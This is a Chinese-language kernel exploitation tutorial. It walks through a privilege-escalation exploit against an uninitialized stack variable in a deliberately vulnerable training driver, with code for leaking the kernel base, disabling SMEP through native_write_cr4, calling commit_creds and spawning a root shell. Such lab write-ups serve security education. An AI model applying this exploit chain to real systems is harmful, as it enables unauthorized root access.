linux内核提权系列教程（3）：栈变量未初始化漏洞
一、 漏洞分析1. 程序分析总共两个驱动号，对应两个功能。case UNINITIALISED_STACK_ALLOC:
{
ret = copy_to_stack((char*)p_arg);
break;
}
case UNINITIALISED_STACK_USE:
{
use_obj_args use_obj_arg;
if(copy_from_user(&use_obj_arg, p_arg, sizeof(use_obj_args)))
return-EINVAL;
use_stack_obj(&use_obj_arg);
break;
}
第1个功能->UNINITIALISED_STACK_ALLOC// 布置内核栈: 能往内核栈上传入4096字节的数据
#define BUFF_SIZE 4096
noinline staticint copy_to_stack(char __user *user_buff)
{
int ret;
char buff;
ret = copy_from_user(buff, user_buff, BUFF_SIZE);
buff = 0;
return ret;
}
第2个功能-> UNINITIALISED_STACK_USE// 使用内核栈: 初始化内核栈数据
noinline staticvoid use_stack_obj(use_obj_args *use_obj_arg)
{
volatile stack_obj s_obj; //volatile表示要求编译器不要对该变量作任何优化
if(use_obj_arg->option == 0)
{
s_obj.fn = uninitialised_callback;
s_obj.fn_arg = use_obj_arg->fn_arg;
}
s_obj.fn(s_obj.fn_arg);
}
// 结构
typedefstruct stack_obj
{
int do_callback;
long fn_arg;
void(*fn)(long);
char buff;
}stack_obj;
typedefstruct use_obj_args
{
int option;
long fn_arg;
}use_obj_args;
2. 漏洞分析漏洞：只有(use_obj_arg->option == 0)时，才会初始化stack_obj对象。利用：构造(use_obj_arg->option != 0)，产生内核栈变量未初始化引用错误。本驱动其实简化了漏洞利用过程，因为可以直接利用驱动号UNINITIALISED_STACK_ALLOC来布置内核栈，不需要考虑用系统调用来布置。二、 漏洞利用1. 利用步骤完整代码见exp_uninitialised_stack.c。（1）单核执行//step 1: 让程序只在单核上运行，以免只关闭了1个核的smep，却在另1个核上跑shell
void force_single_core()
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(0,&mask);
if(sched_setaffinity(0,sizeof(mask),&mask))
printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault \n");
return;
}
（2）泄露内核基址// step 2: 构造 page_fault 泄露kernel地址。从dmesg读取后写到/tmp/infoleak，再读出来
pid_t pid=fork();
if(pid==0){
do_page_fault();
exit(0);
}
int status;
wait(&status); // 等子进程结束
//sleep(10);
printf("[+] Begin to leak address by dmesg![+]\n");
size_t kernel_base = get_info_leak()-sys_ioctl_offset;
printf("[+] Kernel base addr : %p [+] \n", kernel_base);
（3）关闭smep利用UNINITIALISED_STACK_ALLOC功能在内核栈上布置目标函数和所需参数，这样在发生栈变量未初始化使用时就会触发执行目标函数。// step 3: 关闭smep
char buf;
memset(buf, 0, sizeof(buf));
struct use_obj_args use_obj={
.option=1,
.fn_arg=1337,
};
for(int i=0; i<4096; i+=16)
{
memcpy(buf+i, &fake_cr4, 8); // 注意是fake_cr4所在地址
memcpy(buf+i+8, &native_write_cr4_addr, 8);// 注意是native_write_cr4_addr所在地址
}
ioctl(fd,UNINITIALISED_STACK_ALLOC, buf);
ioctl(fd,UNINITIALISED_STACK_USE, &use_obj);
（4）提权—commit_creds(prepare_kernel_cred(0))// step 4: 提权，执行get_root();注意是把get_root()的地址拷贝过去，转一次
size_t get_root_addr = &get_root;
memset(buf, 0, sizeof(buf));
for(int i=0; i<4096; i+=8)
memcpy(buf+i, &get_root_addr, 8);
ioctl(fd,UNINITIALISED_STACK_ALLOC, buf);
ioctl(fd,UNINITIALISED_STACK_USE, &use_obj);
（5）返回shell// step 5: 获得shell
if(getuid()==0)
{
printf("[+] Congratulations! You get root shell !!! [+]\n");
system("/bin/sh");
}
2. 利用结果成功提权：1-exp_uninitialised_stack_succeed.png参考：https://invictus-security.blog/2017/06/https://github.com/invictus-0x90/vulnerable_linux_driver文章首发于先知-linux内核提权系列教程（3）：栈变量未初始化漏洞说明：实验所需的驱动源码、bzImage、cpio文件见我的github进行下载。本教程适合对漏洞提权有一定了解的同学阅读，具体可以看看我先知之前的文章，或者我的简书。References 先知-linux内核提权系列教程（3）：栈变量未初始化漏洞: https://xz.aliyun.com/t/6301 我的github: https://github.com/bsauce/kernel_exploit_series 我的简书: https://www.jianshu.com/u/a12c5b882be2
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